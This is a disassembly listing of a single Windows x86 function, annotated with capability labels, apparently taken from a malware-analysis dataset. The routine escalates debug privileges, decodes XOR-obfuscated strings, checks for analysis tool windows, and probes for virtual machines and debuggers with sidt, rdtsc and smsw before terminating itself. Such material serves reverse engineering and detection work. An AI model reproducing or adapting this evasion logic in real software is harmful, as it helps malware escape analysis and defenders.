Function at 0x10013f60
Capabilities:
Acquire debug privileges
Encode data using xor
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40
mov eax, dword [0x1007e040]
xor eax, esp
mov dword [esp + 0x3c], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x10013f84
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001405c
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0
push eax
push 0x28
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1001405c
mov eax, dword [esp + 0x28]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x38]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x40], 1
mov dword [esp + 0x4c], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1001405c
push 0
push 0
push 0
lea eax, [esp + 0x40]
push eax
push 0
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1001405c
mov eax, dword [esp + 0x28]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x38]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x40], 1
mov dword [esp + 0x4c], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1001405c
push 0
push 0
push 0
lea eax, [esp + 0x40]
push eax
push 0
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1001405c
push dword [esp + 0x28]
call edi
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [esp + 0x28]
push eax
push 0xf01ff
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100140f6
movaps xmm0, xmmword [0x10077640]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0x74
nop
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x10014090
lea eax, [esp + 0x2c]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x100140f0
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
push 0
push 0
push 0x10
mov dword [esp + 0x44], eax
lea eax, [esp + 0x40]
push eax
push 0
push dword [esp + 0x3c]
mov dword [esp + 0x4c], 1
mov dword [esp + 0x54], ecx
mov dword [esp + 0x58], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x28]
call edi
movaps xmm0, xmmword [0x10077800]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x1c], 0x757f467d
mov dword [esp + 0x20], 0x62707d52
mov word [esp + 0x24], 0x62
nop dword [eax + eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x18
jb 0x10014120
push 0
lea eax, [esp + 0x11]
mov byte [esp + 0x29], 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10014157
push 9
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
sidt [esp + 0x2c]
mov eax, dword [esp + 0x2e]
and eax, 0xff000000
cmp eax, 0xff000000
jne 0x1001417f
push 9
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1000
push 0x40
mov dword [esp + 0x34], 0x1000
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
lea eax, [esp + 0x2c]
push eax
push edi
push 0x250000
call dword [sym.imp.MPR.dll_WNetGetProviderNameA]
test eax, eax
jne 0x1001420a
movaps xmm0, xmmword [0x10076ee0]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x1c], 0x6602425
mov dword [esp + 0x20], 0x25242c2f
mov word [esp + 0x24], 0x3332
mov byte [esp + 0x26], al
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x19
jb 0x100141d4
lea eax, [esp + 0xd]
mov byte [esp + 0x26], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1001420a
push 9
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10001d60
test al, al
jne 0x10014144
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
rdtsc
mov dword [esp + 0x2c], eax
rdtsc
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
sub eax, dword [esp + 0x2c]
cmp eax, 0x1f4
ja 0x10014144
mov dword [esp + 0x2c], 0
mov eax, 0xcccccccc
smsw eax
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x2c]
mov eax, ecx
and eax, 0xff000000
cmp eax, 0xcc000000
jne 0x1001428d
and ecx, 0xff0000
cmp ecx, 0xcc0000
jne 0x1001428d
push 9
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1001f960
mov dword [0x100818f4], eax
test eax, eax
je 0x100142a2
mov ecx, eax
call fcn.1001fb50
mov ecx, dword [esp + 0x44]
pop edi
pop esi
xor ecx, esp
call fcn.1006625f
mov esp, ebp
pop ebp
ret